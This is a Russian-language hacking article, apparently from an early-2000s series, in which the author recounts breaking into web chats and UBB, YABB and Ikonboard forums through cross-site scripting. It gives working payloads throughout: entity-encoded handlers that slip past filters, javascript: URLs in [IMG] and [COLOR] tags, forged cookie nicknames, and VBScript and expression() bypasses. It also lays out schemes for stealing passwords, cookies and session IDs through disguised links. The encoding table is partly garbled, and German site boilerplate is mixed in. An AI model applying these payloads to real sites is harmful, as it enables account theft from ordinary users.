    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Но и это еще не все. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) :) )

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) :) )

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) :) ) Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :) :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) oder background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Dezimalcodierung 16. Kodierung * Zeichenkodierung Unicode
    "" "" "" "" ""
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \. \. \.   %5C
    %. %. %.   %.
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Es wird für Ihre Freunde nicht überflüssig sein, diese Informationen zu lernen und einen Artikel mit ihnen zu teilen!

    Kommentare Erweitern / reduzieren Sie das Kommentarfenster erweitern / kollabieren

    Denken Sie beim Kommentieren daran, dass der Inhalt und der Ton Ihrer Nachricht die Gefühle realer Menschen verletzen, Ihren Gesprächspartnern Respekt und Toleranz entgegenbringen können, auch wenn Sie ihre Meinung nicht teilen. Ihr Verhalten unter den Bedingungen der Meinungsfreiheit und Anonymität, die das Internet bietet, ändert sich nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare werden aus dem Index ausgeblendet, Spam wird kontrolliert.
    Hat es dir gefallen? RSS- News abonnieren,
    der Erste sein, der Informationen erhält
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: